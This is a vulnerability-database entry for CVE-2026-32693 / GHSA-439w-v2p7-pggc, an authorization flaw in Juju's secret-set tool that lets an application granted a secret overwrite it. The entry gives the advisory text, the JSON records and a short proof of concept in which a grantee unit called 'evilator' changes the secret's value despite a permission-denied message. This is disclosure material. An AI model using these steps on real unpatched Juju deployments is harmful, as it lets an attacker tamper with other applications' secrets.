Vulnerability-Lookup

GHSA-439W-V2P7-PGGC

Vulnerability from github – Published: 2026-03-19 17:43 – Updated: 2026-03-19 17:43

Summary

Juju has unauthorized access to out-of-scope Kubernetes secrets

Details

Summary

Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy. Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.

Details

When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.

Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.

PoC

Tested: - two applications in the same controller, same model: one owns the secret, another get a grant - relation between them - secret grant - Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI

Not tested: - admin (user) secrets - cross-model relations - cross-controller relations

⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
  workload-version: 24.2.0
  opened-ports: []
  charm: ch:amd64/nginx-ingress-integrator-203
  leader: true
  life: alive
  relation-info:
  - relation-id: 11
    endpoint: ingress
    related-endpoint: ingress
    application-data: {}
    related-units:
      evilator/0:
        in-scope: true
        data:
          egress-subnets: 10.152.183.39/32
          ingress-address: 10.152.183.39
          private-address: 10.152.183.39
  - relation-id: 10
    endpoint: nginx-peers
    related-endpoint: nginx-peers
    application-data: {}
    local-unit:
      in-scope: true
      data:
        egress-subnets: 10.152.183.135/32
        ingress-address: 10.152.183.135
        private-address: 10.152.183.135
  provider-id: ingress2-0
  address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11" 
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now" 
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0" 
nice: who-is-nice-now

When the grantee attempts to update the the granted secret:

secret-set command logs an error, though returns OK return status
the secret value is updated
new secret revision is not created
new value is visible to both owner and grantee

Impact

the application that owns the secret
a third application, if a secret is granted to multiple parties
any other application that has secrets in the same Kubernetes secret backend

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/juju/juju"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20221021155847-35c560704ee2"
            },
            {
              "fixed": "0.0.0-20260319091847-d06919eb03ec"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:43:37Z",
    "nvd_published_at": "2026-03-18T13:16:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGrantee is able to update secret content using the `secret-set` tool due to broad Kubernetes access policy.\nImplications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.\n\n### Details\n\nWhen a Juju secret is \"granted\" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.\n\nAuthorization of the `secret-set` hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.\n\n### PoC\n\nTested:\n- two applications in the same controller, same model: one owns the secret, another get a grant\n- relation between them\n- secret grant\n- Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI\n\nNot tested:\n- admin (user) secrets\n- cross-model relations\n- cross-controller relations\n\n```command\n\u22ca\u003e dima@bb \u22ca\u003e /c/hexanator on main \u25e6 juju exec --unit ingress2/0 \"secret-add nice=little-value\"\nsecret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0\n\u22ca\u003e dima@bb \u22ca\u003e /c/hexanator on main \u25e6 juju show-unit ingress2/0\ningress2/0:\n  workload-version: 24.2.0\n  opened-ports: []\n  charm: ch:amd64/nginx-ingress-integrator-203\n  leader: true\n  life: alive\n  relation-info:\n  - relation-id: 11\n    endpoint: ingress\n    related-endpoint: ingress\n    application-data: {}\n    related-units:\n      evilator/0:\n        in-scope: true\n        data:\n          egress-subnets: 10.152.183.39/32\n          ingress-address: 10.152.183.39\n          private-address: 10.152.183.39\n  - relation-id: 10\n    endpoint: nginx-peers\n    related-endpoint: nginx-peers\n    application-data: {}\n    local-unit:\n      in-scope: true\n      data:\n        egress-subnets: 10.152.183.135/32\n        ingress-address: 10.152.183.135\n        private-address: 10.152.183.135\n  provider-id: ingress2-0\n  address: 10.1.0.100\n\u22ca\u003e dima@bb \u22ca\u003e /c/hexanator on main \u25e6 juju exec --unit ingress2/0 \"secret-grant d350nbnmp25c76301ht0 --relation 11\" \n\u22ca\u003e dima@bb \u22ca\u003e /c/hexanator on main \u25e6 juju exec --unit evilator/0 \"secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now\" \nupdating secrets: permission denied\n\u22ca\u003e dima@bb \u22ca\u003e /c/hexanator on main \u25e6 juju exec --unit ingress2/0 \"secret-get d350nbnmp25c76301ht0\" \nnice: who-is-nice-now\n```\n\nWhen the grantee attempts to update the the granted secret:\n\n- `secret-set` command logs an error, though returns OK return status\n- the secret value is updated\n- new secret revision is not created\n- new value is visible to both owner and grantee\n\n### Impact\n\n- the application that owns the secret\n- a third application, if a secret is granted to multiple parties\n- any other application that has secrets in the same Kubernetes secret backend",
  "id": "GHSA-439w-v2p7-pggc",
  "modified": "2026-03-19T17:43:37Z",
  "published": "2026-03-19T17:43:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/security/advisories/GHSA-439w-v2p7-pggc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32693"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/d06919eb03ec68156818bcc304b5fe1c39a8f9e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juju/juju"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Juju has unauthorized access to out-of-scope Kubernetes secrets"
}

CVE-2026-32693 (GCVE-0-2026-32693)

Vulnerability from cvelistv5 – Published: 2026-03-18 12:47 – Updated: 2026-03-18 13:19

Title

Unauthorized access to Kubernetes secrets in Juju

Summary

In Juju from version 3.0.0 through 3.6.18, the authorization of the "secret-set" tool is not performed correctly, which allows a grantee to update the secret content, and can lead to reading or updating other secrets. When the "secret-set" tool logs an error in an exploitation attempt, the secret is still updated contrary to expectations, and the new value is visible to both the owner and the grantee.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-863 - Incorrect Authorization
CWE-778 - Insufficient logging
CWE-284 - Improper Access Control

Assigner

canonical

References

URL

Tags

https://github.com/juju/juju/security/advisories/…

vendor-advisoryvdb-entry

Impacted products

	Vendor	Product	Version
	Canonical	Juju	Affected: 3.0.0 , < 3.6.19 (semver)

Credits

Dima Tisnek

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32693",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-18T13:16:08.879696Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
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        "providerMetadata": {
          "dateUpdated": "2026-03-18T13:19:58.719Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://github.com/juju/",
          "defaultStatus": "unaffected",
          "packageName": "juju",
          "platforms": [
            "Linux"
          ],
          "product": "Juju",
          "repo": "https://github.com/juju/juju",
          "vendor": "Canonical",
          "versions": [
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              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            }
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        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Dima Tisnek"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In Juju from version 3.0.0 through 3.6.18, the authorization of the \"secret-set\" tool is not performed correctly, which allows a grantee to update the secret content, and can lead to reading or updating other secrets. When the \"secret-set\" tool logs an error in an exploitation attempt, the secret is still updated contrary to expectations, and the new value is visible to both the owner and the grantee."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-124",
          "descriptions": [
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              "lang": "en",
              "value": "CAPEC-124: Shared Resource Manipulation"
            }
          ]
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      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
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          "scenarios": [
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              "lang": "en",
              "value": "GENERAL"
            }
          ]
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      ],
      "problemTypes": [
        {
          "descriptions": [
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              "lang": "en",
              "type": "CWE"
            }
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        },
        {
          "descriptions": [
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              "cweId": "CWE-778",
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              "lang": "en",
              "type": "CWE"
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      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-18T12:47:02.982Z",
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        "shortName": "canonical"
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      "references": [
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          "tags": [
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          "url": "https://github.com/juju/juju/security/advisories/GHSA-439w-v2p7-pggc"
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      "title": "Unauthorized access to Kubernetes secrets in Juju"
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  "cveMetadata": {
    "assignerOrgId": "cc1ad9ee-3454-478d-9317-d3e869d708bc",
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    "dateReserved": "2026-03-13T12:53:34.544Z",
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    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-439W-V2P7-PGGC

Summary

Details

PoC

Impact

CVE-2026-32693 (GCVE-0-2026-32693)

Tags

Sightings

Nomenclature